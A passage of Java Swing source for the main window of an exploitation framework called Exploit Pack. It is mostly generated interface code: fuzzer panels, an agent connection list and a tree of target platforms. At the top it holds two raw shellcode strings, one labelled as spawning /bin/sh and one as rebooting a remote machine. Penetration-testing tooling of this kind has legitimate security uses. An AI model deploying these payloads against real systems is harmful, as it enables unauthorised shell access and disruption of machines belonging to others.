                    "Executes /bin/sh\n shell = \"\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7d\\x68\\x02\\xa6\\x3b\\xeb\\x01\\x70\\x39\\x40\\x01\\x70\\x39\\x1f\\xfe\\xcf\\x7c\\xa8\\x29\\xae\\x38\\x7f\\xfe\\xc8\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\\x38\\x81\\xff\\xf8\\x38\\x0a\\xfe\\xcb\\x44\\xff\\xff\\x02\\x7c\\xa3\\x2b\\x78\\x38\\x0a\\xfe\\x91\\x44\\xff\\xff\\x02\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x58\"\n\n");
            jTextAreaShellcodeList.append(
                    "Reboots the remote box\n shell = \"\\x7c\\x63\\x1a\\x79\\x39\\x40\\x01\\x70\\x38\\x0a\\xfe\\xb4\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x38\\x0a\\xfe\\xc7\\x44\\xff\\xff\\x02\"\n");
            jTextAreaShellcodeList.setCaretPosition(
                    0);

            jTreeExploits.setSelectionRow(
                    1);
        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        jMenuItem49 = new javax.swing.JMenuItem();
        jSeparator9 = new javax.swing.JSeparator();
        jSeparator38 = new javax.swing.JSeparator();
        jPopupMenu1 = new javax.swing.JPopupMenu();
        jPanel1 = new javax.swing.JPanel();
        jScrollPane9 = new javax.swing.JScrollPane();
        jTreeRAT = new javax.swing.JTree();
        jLabel11 = new javax.swing.JLabel();
        jPanel2 = new javax.swing.JPanel();
        jLabel15 = new javax.swing.JLabel();
        jTextFieldSearch = new javax.swing.JTextField();
        jButtonSearch = new javax.swing.JButton();
        jLabel22 = new javax.swing.JLabel();
        jComboBox1 = new javax.swing.JComboBox();
        jPanel15 = new javax.swing.JPanel();
        jTabbedPane2 = new javax.swing.JTabbedPane();
        jScrollPane1 = new javax.swing.JScrollPane();
        jTreeExploits = new javax.swing.JTree();
        jScrollPane8 = new javax.swing.JScrollPane();
        jTreeTools = new javax.swing.JTree();
        jScrollPane18 = new javax.swing.JScrollPane();
        jTreeNotepad = new javax.swing.JTree();
        jToolBar1 = new javax.swing.JToolBar();
        jSeparator47 = new javax.swing.JToolBar.Separator();
        jButton4 = new javax.swing.JButton();
        jSeparator1 = new javax.swing.JToolBar.Separator();
        jButton3 = new javax.swing.JButton();
        jSeparator3 = new javax.swing.JToolBar.Separator();
        jButton6 = new javax.swing.JButton();
        jSeparator5 = new javax.swing.JToolBar.Separator();
        jButton7 = new javax.swing.JButton();
        jSeparator6 = new javax.swing.JToolBar.Separator();
        jButton8 = new javax.swing.JButton();
        jSeparator7 = new javax.swing.JToolBar.Separator();
        jButton9 = new javax.swing.JButton();
        jLabelInterface = new javax.swing.JLabel();
        jSeparator8 = new javax.swing.JToolBar.Separator();
        jButton10 = new javax.swing.JButton();
        jSeparator4 = new javax.swing.JToolBar.Separator();
        jButton12 = new javax.swing.JButton();
        jSeparator2 = new javax.swing.JToolBar.Separator();
        jButton21 = new javax.swing.JButton();
        jSeparator12 = new javax.swing.JToolBar.Separator();
        jButton13 = new javax.swing.JButton();
        jSeparator10 = new javax.swing.JToolBar.Separator();
        jButton14 = new javax.swing.JButton();
        jSeparator30 = new javax.swing.JToolBar.Separator();
        jButton25 = new javax.swing.JButton();
        jSeparator42 = new javax.swing.JToolBar.Separator();
        jButton26 = new javax.swing.JButton();
        jSeparator11 = new javax.swing.JToolBar.Separator();
        jButton5 = new javax.swing.JButton();
        jSeparator53 = new javax.swing.JToolBar.Separator();
        jButton33 = new javax.swing.JButton();
        jSeparator35 = new javax.swing.JToolBar.Separator();
        jButton31 = new javax.swing.JButton();
        jSeparator54 = new javax.swing.JToolBar.Separator();
        jButton35 = new javax.swing.JButton();
        jSeparator60 = new javax.swing.JToolBar.Separator();
        jButton36 = new javax.swing.JButton();
        jSeparator58 = new javax.swing.JToolBar.Separator();
        jButton38 = new javax.swing.JButton();
        jTabbedPane = new javax.swing.JTabbedPane();
        jPanelDashboard = new javax.swing.JPanel();
        jPanel3 = new javax.swing.JPanel();
        jLabel1 = new javax.swing.JLabel();
        jLabel2 = new javax.swing.JLabel();
        jLabel3 = new javax.swing.JLabel();
        jLabel4 = new javax.swing.JLabel();
        jTextFieldProjectN = new javax.swing.JTextField();
        jTextFieldTargetH = new javax.swing.JTextField();
        jTextFieldTargetP = new javax.swing.JTextField();
        jTextFieldTargetPath = new javax.swing.JTextField();
        jLabel5 = new javax.swing.JLabel();
        jLabel6 = new javax.swing.JLabel();
        jTextFieldExtraOptions = new javax.swing.JTextField();
        jTextFieldshellPort = new javax.swing.JTextField();
        jLabel7 = new javax.swing.JLabel();
        jLabel8 = new javax.swing.JLabel();
        jComboBoxShellcode = new javax.swing.JComboBox();
        jTextFieldLocalHost = new javax.swing.JTextField();
        jPanel6 = new javax.swing.JPanel();
        jToolBar2 = new javax.swing.JToolBar();
        jButton16 = new javax.swing.JButton();
        jSeparator22 = new javax.swing.JToolBar.Separator();
        jButton27 = new javax.swing.JButton();
        jSeparator46 = new javax.swing.JToolBar.Separator();
        jButton17 = new javax.swing.JButton();
        jSeparator23 = new javax.swing.JToolBar.Separator();
        jButton28 = new javax.swing.JButton();
        jSeparator51 = new javax.swing.JToolBar.Separator();
        jButton29 = new javax.swing.JButton();
        jSeparator52 = new javax.swing.JToolBar.Separator();
        jButton20 = new javax.swing.JButton();
        jSeparator24 = new javax.swing.JToolBar.Separator();
        jButton19 = new javax.swing.JButton();
        jSeparator25 = new javax.swing.JToolBar.Separator();
        jButton18 = new javax.swing.JButton();
        jPanelEditor = new javax.swing.JPanel();
        jPanel18 = new javax.swing.JPanel();
        jButtonShell = new javax.swing.JButton();
        jTextFieldShellinput = new javax.swing.JTextField();
        jScrollPane2 = new javax.swing.JScrollPane();
        jTextAreaShellcode = new javax.swing.JTextArea();
        jButtonShell1 = new javax.swing.JButton();
        jPanel16 = new javax.swing.JPanel();
        jPanel24 = new javax.swing.JPanel();
        jToolBar3 = new javax.swing.JToolBar();
        jLabel29 = new javax.swing.JLabel();
        jLabelTargetName = new javax.swing.JLabel();
        jSeparator41 = new javax.swing.JToolBar.Separator();
        jLabel33 = new javax.swing.JLabel();
        jLabelPlatform = new javax.swing.JLabel();
        jSeparator39 = new javax.swing.JToolBar.Separator();
        jCheckBox2 = new javax.swing.JCheckBox();
        jSeparator45 = new javax.swing.JToolBar.Separator();
        jButton24 = new javax.swing.JButton();
        jSeparator37 = new javax.swing.JToolBar.Separator();
        jButton22 = new javax.swing.JButton();
        jSeparator44 = new javax.swing.JToolBar.Separator();
        jButton23 = new javax.swing.JButton();
        jSeparator40 = new javax.swing.JToolBar.Separator();
        jButton15 = new javax.swing.JButton();
        jSeparator43 = new javax.swing.JToolBar.Separator();
        jPanelTargets = new javax.swing.JPanel();
        jPanel10 = new javax.swing.JPanel();
        jPanel12 = new javax.swing.JPanel();
        jScrollPane13 = new javax.swing.JScrollPane();
        jTextAreaFuzzerLog = new javax.swing.JTextArea();
        jLabel28 = new javax.swing.JLabel();
        jButtonFuzzer = new javax.swing.JButton();
        jTextFieldFuzzHost = new javax.swing.JTextField();
        jComboBoxFuzzType = new javax.swing.JComboBox<>();
        jLabel23 = new javax.swing.JLabel();
        jLabel30 = new javax.swing.JLabel();
        jTextFieldFuzzPort = new javax.swing.JTextField();
        jLabel31 = new javax.swing.JLabel();
        jTextField1 = new javax.swing.JTextField();
        jButtonFuzzer1 = new javax.swing.JButton();
        jPanel32 = new javax.swing.JPanel();
        jPanel33 = new javax.swing.JPanel();
        jScrollPane15 = new javax.swing.JScrollPane();
        jTextAreaFuzzerLog2 = new javax.swing.JTextArea();
        jButtonFuzzer2 = new javax.swing.JButton();
        jTextFieldFuzzBinary = new javax.swing.JTextField();
        jLabel38 = new javax.swing.JLabel();
        jTextFieldFuzzChar = new javax.swing.JTextField();
        jLabel39 = new javax.swing.JLabel();
        jButton34 = new javax.swing.JButton();
        jCheckBoxNoArgs = new javax.swing.JCheckBox();
        jCheckBoxRandom = new javax.swing.JCheckBox();
        jCheckBoxPattern = new javax.swing.JCheckBox();
        jCheckBoxLower = new javax.swing.JCheckBox();
        jCheckBoxUpper = new javax.swing.JCheckBox();
        jCheckBoxAll = new javax.swing.JCheckBox();
        jPanel7 = new javax.swing.JPanel();
        jPanel9 = new javax.swing.JPanel();
        jPanel11 = new javax.swing.JPanel();
        jLabel9 = new javax.swing.JLabel();
        jTextFieldPentestName = new javax.swing.JTextField();
        jLabel16 = new javax.swing.JLabel();
        jTextFieldPentestSubTittle = new javax.swing.JTextField();
        jLabel17 = new javax.swing.JLabel();
        jTextFieldPentestImage = new javax.swing.JTextField();
        jButton11 = new javax.swing.JButton();
        jPanel17 = new javax.swing.JPanel();
        jScrollPane6 = new javax.swing.JScrollPane();
        jTextAreaPentestFooter = new javax.swing.JTextArea();
        jPanel13 = new javax.swing.JPanel();
        jComboBoxCustom1 = new javax.swing.JComboBox();
        jLabel18 = new javax.swing.JLabel();
        jTextFieldCustom1 = new javax.swing.JTextField();
        jLabel19 = new javax.swing.JLabel();
        jLabel20 = new javax.swing.JLabel();
        jTextFieldCustomDesc1 = new javax.swing.JTextField();
        jPanel23 = new javax.swing.JPanel();
        jScrollPane17 = new javax.swing.JScrollPane();
        jTextAreaPentestHeader = new javax.swing.JTextArea();
        jButton2 = new javax.swing.JButton();
        jPanel25 = new javax.swing.JPanel();
        jComboBoxCustom2 = new javax.swing.JComboBox();
        jLabel24 = new javax.swing.JLabel();
        jTextFieldCustom2 = new javax.swing.JTextField();
        jLabel25 = new javax.swing.JLabel();
        jLabel26 = new javax.swing.JLabel();
        jTextFieldCustomDesc2 = new javax.swing.JTextField();
        jLabel21 = new javax.swing.JLabel();
        jPanel8 = new javax.swing.JPanel();
        jButton1 = new javax.swing.JButton();
        jScrollPane12 = new javax.swing.JScrollPane();
        jTextAreaSocketFuzz = new javax.swing.JTextArea();
        jLabel12 = new javax.swing.JLabel();
        jTextFieldSocketURL = new javax.swing.JTextField();
        jLabel13 = new javax.swing.JLabel();
        jTextFieldSocketData = new javax.swing.JTextField();
        jLabel14 = new javax.swing.JLabel();
        jTextFieldSocketPort = new javax.swing.JTextField();
        jCheckBoxSocketRandom = new javax.swing.JCheckBox();
        jPanel4 = new javax.swing.JPanel();
        jScrollPane7 = new javax.swing.JScrollPane();
        jTextAreaShellcodeList = new javax.swing.JTextArea();
        jPanel26 = new javax.swing.JPanel();
        jPanel27 = new javax.swing.JPanel();
        jPanel28 = new javax.swing.JPanel();
        jLabel27 = new javax.swing.JLabel();
        jTextFieldEncodeDecode = new javax.swing.JTextField();
        jButton30 = new javax.swing.JButton();
        jButton32 = new javax.swing.JButton();
        jPanel31 = new javax.swing.JPanel();
        jScrollPane19 = new javax.swing.JScrollPane();
        jTextAreaEncodeDecodeResults = new javax.swing.JTextArea();
        jPanel29 = new javax.swing.JPanel();
        jPanel30 = new javax.swing.JPanel();
        jPanel34 = new javax.swing.JPanel();
        jLabel32 = new javax.swing.JLabel();
        jTextFieldUTF = new javax.swing.JTextField();
        jButton37 = new javax.swing.JButton();
        jLabel34 = new javax.swing.JLabel();
        jTextFieldUTFAmount = new javax.swing.JTextField();
        jPanel35 = new javax.swing.JPanel();
        jScrollPane20 = new javax.swing.JScrollPane();
        jTextAreaUTFResults = new javax.swing.JTextArea();
        jTabbedPane1 = new javax.swing.JTabbedPane();
        jPanel14 = new javax.swing.JPanel();
        jScrollPane3 = new javax.swing.JScrollPane();
        jTextAreaQuickInfo = new javax.swing.JTextArea();
        jPanel19 = new javax.swing.JPanel();
        jScrollPane10 = new javax.swing.JScrollPane();
        jTextAreaAppLog = new javax.swing.JTextArea();
        jPanel20 = new javax.swing.JPanel();
        jScrollPane11 = new javax.swing.JScrollPane();
        jTextAreaDebugging = new javax.swing.JTextArea();
        jPanel5 = new javax.swing.JPanel();
        jProgressBarModuleStatus = new javax.swing.JProgressBar();
        jLabel10 = new javax.swing.JLabel();
        jLabelWelcome = new javax.swing.JLabel();
        jPanel21 = new javax.swing.JPanel();
        jScrollPane4 = new javax.swing.JScrollPane();
        jTreeRemoteScanner = new javax.swing.JTree();
        jPanel22 = new javax.swing.JPanel();
        jScrollPane5 = new javax.swing.JScrollPane();
        jTreeModuleStatus = new javax.swing.JTree();
        jButtonExecution = new javax.swing.JButton();
        jMenuBar1 = new javax.swing.JMenuBar();
        jMenu1 = new javax.swing.JMenu();
        jMenuItem2 = new javax.swing.JMenuItem();
        jMenuItem3 = new javax.swing.JMenuItem();
        jSeparator15 = new javax.swing.JPopupMenu.Separator();
        jMenuItem48 = new javax.swing.JMenuItem();
        jMenuItem55 = new javax.swing.JMenuItem();
        jSeparator29 = new javax.swing.JPopupMenu.Separator();
        jMenuItem6 = new javax.swing.JMenuItem();
        jSeparator13 = new javax.swing.JPopupMenu.Separator();
        jMenuItem5 = new javax.swing.JMenuItem();
        jMenuItem4 = new javax.swing.JMenuItem();
        jSeparator14 = new javax.swing.JPopupMenu.Separator();
        jMenuItem1 = new javax.swing.JMenuItem();
        jMenu17 = new javax.swing.JMenu();
        jMenuItem63 = new javax.swing.JMenuItem();
        jMenuItem45 = new javax.swing.JMenuItem();
        jMenu2 = new javax.swing.JMenu();
        jMenuItem7 = new javax.swing.JMenuItem();
        jMenuItem8 = new javax.swing.JMenuItem();
        jMenuItem9 = new javax.swing.JMenuItem();
        jMenu3 = new javax.swing.JMenu();
        jMenuItem10 = new javax.swing.JMenuItem();
        jSeparator50 = new javax.swing.JPopupMenu.Separator();
        jMenuItem12 = new javax.swing.JMenuItem();
        jMenuItem62 = new javax.swing.JMenuItem();
        jMenu4 = new javax.swing.JMenu();
        jMenuItem47 = new javax.swing.JMenuItem();
        jMenuItem11 = new javax.swing.JMenuItem();
        jMenuItem46 = new javax.swing.JMenuItem();
        jSeparator17 = new javax.swing.JPopupMenu.Separator();
        jMenuItem13 = new javax.swing.JMenuItem();
        jMenuItem22 = new javax.swing.JMenuItem();
        jSeparator16 = new javax.swing.JPopupMenu.Separator();
        jMenuItem60 = new javax.swing.JMenuItem();
        jSeparator48 = new javax.swing.JPopupMenu.Separator();
        jMenuItem59 = new javax.swing.JMenuItem();
        jMenuItem58 = new javax.swing.JMenuItem();
        jMenuItem67 = new javax.swing.JMenuItem();
        jMenuItem61 = new javax.swing.JMenuItem();
        jSeparator49 = new javax.swing.JPopupMenu.Separator();
        jMenuItem14 = new javax.swing.JMenuItem();
        jMenu5 = new javax.swing.JMenu();
        jMenuItem15 = new javax.swing.JMenuItem();
        jMenuItem16 = new javax.swing.JMenuItem();
        jSeparator18 = new javax.swing.JPopupMenu.Separator();
        jMenuItem17 = new javax.swing.JMenuItem();
        jSeparator28 = new javax.swing.JPopupMenu.Separator();
        jMenuItem44 = new javax.swing.JMenuItem();
        jMenu6 = new javax.swing.JMenu();
        jMenuItem18 = new javax.swing.JMenuItem();
        jMenu8 = new javax.swing.JMenu();
        jMenu9 = new javax.swing.JMenu();
        jMenu10 = new javax.swing.JMenu();
        jMenuItem25 = new javax.swing.JMenuItem();
        jMenuItem26 = new javax.swing.JMenuItem();
        jMenuItem27 = new javax.swing.JMenuItem();
        jMenuItem28 = new javax.swing.JMenuItem();
        jMenuItem29 = new javax.swing.JMenuItem();
        jMenu12 = new javax.swing.JMenu();
        jMenuItem30 = new javax.swing.JMenuItem();
        jMenuItem31 = new javax.swing.JMenuItem();
        jMenuItem32 = new javax.swing.JMenuItem();
        jMenu13 = new javax.swing.JMenu();
        jMenuItem33 = new javax.swing.JMenuItem();
        jMenuItem34 = new javax.swing.JMenuItem();
        jMenu14 = new javax.swing.JMenu();
        jMenuItem35 = new javax.swing.JMenuItem();
        jMenuItem36 = new javax.swing.JMenuItem();
        jMenuItem37 = new javax.swing.JMenuItem();
        jMenuItem38 = new javax.swing.JMenuItem();
        jSeparator26 = new javax.swing.JPopupMenu.Separator();
        jMenu15 = new javax.swing.JMenu();
        jMenuItem39 = new javax.swing.JMenuItem();
        jMenuItem40 = new javax.swing.JMenuItem();
        jMenuItem41 = new javax.swing.JMenuItem();
        jMenuItem42 = new javax.swing.JMenuItem();
        jMenu18 = new javax.swing.JMenu();
        jMenuItem65 = new javax.swing.JMenuItem();
        jMenuItem66 = new javax.swing.JMenuItem();
        jMenu11 = new javax.swing.JMenu();
        jMenuItem50 = new javax.swing.JMenuItem();
        jSeparator31 = new javax.swing.JPopupMenu.Separator();
        jMenuItem51 = new javax.swing.JMenuItem();
        jSeparator32 = new javax.swing.JPopupMenu.Separator();
        jMenuItem52 = new javax.swing.JMenuItem();
        jSeparator33 = new javax.swing.JPopupMenu.Separator();
        jMenuItem53 = new javax.swing.JMenuItem();
        jSeparator34 = new javax.swing.JPopupMenu.Separator();
        jMenuItem54 = new javax.swing.JMenuItem();
        jSeparator59 = new javax.swing.JPopupMenu.Separator();
        jMenuItem71 = new javax.swing.JMenuItem();
        jMenu16 = new javax.swing.JMenu();
        jMenuItem56 = new javax.swing.JMenuItem();
        jSeparator55 = new javax.swing.JPopupMenu.Separator();
        jMenuItem64 = new javax.swing.JMenuItem();
        jSeparator56 = new javax.swing.JPopupMenu.Separator();
        jMenuItem68 = new javax.swing.JMenuItem();
        jSeparator57 = new javax.swing.JPopupMenu.Separator();
        jMenuItem69 = new javax.swing.JMenuItem();
        jMenu7 = new javax.swing.JMenu();
        jMenuItem19 = new javax.swing.JMenuItem();
        jSeparator36 = new javax.swing.JPopupMenu.Separator();
        jMenuItem57 = new javax.swing.JMenuItem();
        jMenuItem20 = new javax.swing.JMenuItem();
        jSeparator19 = new javax.swing.JPopupMenu.Separator();
        jMenuItem21 = new javax.swing.JMenuItem();
        jSeparator21 = new javax.swing.JPopupMenu.Separator();
        jMenuItem23 = new javax.swing.JMenuItem();
        jSeparator20 = new javax.swing.JPopupMenu.Separator();
        jMenuItem43 = new javax.swing.JMenuItem();
        jSeparator27 = new javax.swing.JPopupMenu.Separator();
        jMenuItem24 = new javax.swing.JMenuItem();

        jMenuItem49.setText("jMenuItem49");

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("Exploit Pack - Current release: v11.9 [ Free version ] - http://exploitpack.com [ Abyss Walker ]");
        setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));
        addWindowListener(new java.awt.event.WindowAdapter() {
            public void windowClosed(java.awt.event.WindowEvent evt) {
                formWindowClosed(evt);
            }
        });

        jPanel1.setBackground(java.awt.Color.white);
        jPanel1.setMaximumSize(new java.awt.Dimension(239, 199));

        javax.swing.tree.DefaultMutableTreeNode treeNode1 = new javax.swing.tree.DefaultMutableTreeNode("JTree");
        javax.swing.tree.DefaultMutableTreeNode treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("Localhost (computer)");
        treeNode1.add(treeNode2);
        jTreeRAT.setModel(new javax.swing.tree.DefaultTreeModel(treeNode1));
        jTreeRAT.setPreferredSize(new java.awt.Dimension(87, 76));
        jTreeRAT.setRootVisible(false);
        jTreeRAT.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTreeRATMouseClicked(evt);
            }
        });
        jTreeRAT.addTreeSelectionListener(new javax.swing.event.TreeSelectionListener() {
            public void valueChanged(javax.swing.event.TreeSelectionEvent evt) {
                jTreeRATValueChanged(evt);
            }
        });
        jScrollPane9.setViewportView(jTreeRAT);

        jLabel11.setFont(new java.awt.Font("Lucida Grande", 1, 13)); // NOI18N
        jLabel11.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/computer.png"))); // NOI18N
        jLabel11.setText("Connection list - Agents");

        jPanel2.setBackground(java.awt.Color.white);
        jPanel2.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));

        jLabel15.setFont(new java.awt.Font("Lucida Grande", 1, 13)); // NOI18N
        jLabel15.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1421275146_10_Search_16x16.png"))); // NOI18N
        jLabel15.setText("Modules search");

        jTextFieldSearch.setText("Name, author, platform, etc.");
        jTextFieldSearch.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldSearchMouseClicked(evt);
            }
        });
        jTextFieldSearch.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jTextFieldSearchActionPerformed(evt);
            }
        });
        jTextFieldSearch.addKeyListener(new java.awt.event.KeyAdapter() {
            public void keyPressed(java.awt.event.KeyEvent evt) {
                jTextFieldSearchKeyPressed(evt);
            }
        });

        jButtonSearch.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/arrow-right-16.png"))); // NOI18N
        jButtonSearch.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButtonSearchActionPerformed(evt);
            }
        });

        jLabel22.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/filter-edit-16x16.gif"))); // NOI18N
        jLabel22.setText("Filter");

        jComboBox1.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Show all modules", "Show recent", "Count modules" }));
        jComboBox1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jComboBox1ActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
        jPanel2.setLayout(jPanel2Layout);
        jPanel2Layout.setHorizontalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(jTextFieldSearch)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jButtonSearch))
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel15)
                        .addGap(0, 0, Short.MAX_VALUE))
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(jComboBox1, 0, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jLabel22)))
                .addContainerGap())
        );
        jPanel2Layout.setVerticalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jLabel15)
                .addGap(7, 7, 7)
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jComboBox1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel22))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jButtonSearch)
                    .addComponent(jTextFieldSearch, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        jPanel15.setBackground(java.awt.Color.white);

        jTabbedPane2.setBackground(java.awt.Color.white);
        jTabbedPane2.setMaximumSize(new java.awt.Dimension(100, 90));

        treeNode1 = new javax.swing.tree.DefaultMutableTreeNode("JTree");
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("Search");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("0day (Premium Pack)");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("aix");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("android");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("arm");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("asp");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("atheos");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("beos");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("bsd");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("bsd_ppc");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("bsd_x86");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("bsdi_x86");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("cfm");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("cgi");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("freebsd");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("freebsd_x86");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("freebsd_x86-64");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("generator");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("hardware");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("hp-ux");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("immunix");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("ios");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("irix");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("java");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("jsp");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("lin_amd64");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("lin_x86");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("lin_x86-64");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("linux");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("linux_mips");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("linux_ppc");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("linux_sparc");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("minix");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("mips");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("multiple");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("netbsd_x86");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("netware");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("novell");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("openbsd");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("openbsd_x86");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("osx");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("osx_ppc");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("palm_os");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("php");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("plan9");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("qnx");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("sco");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("sco_x86");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("sh4");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("solaris");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("solaris_sparc");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("solaris_x86");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("tru64");
        treeNode1.add(treeNode2);
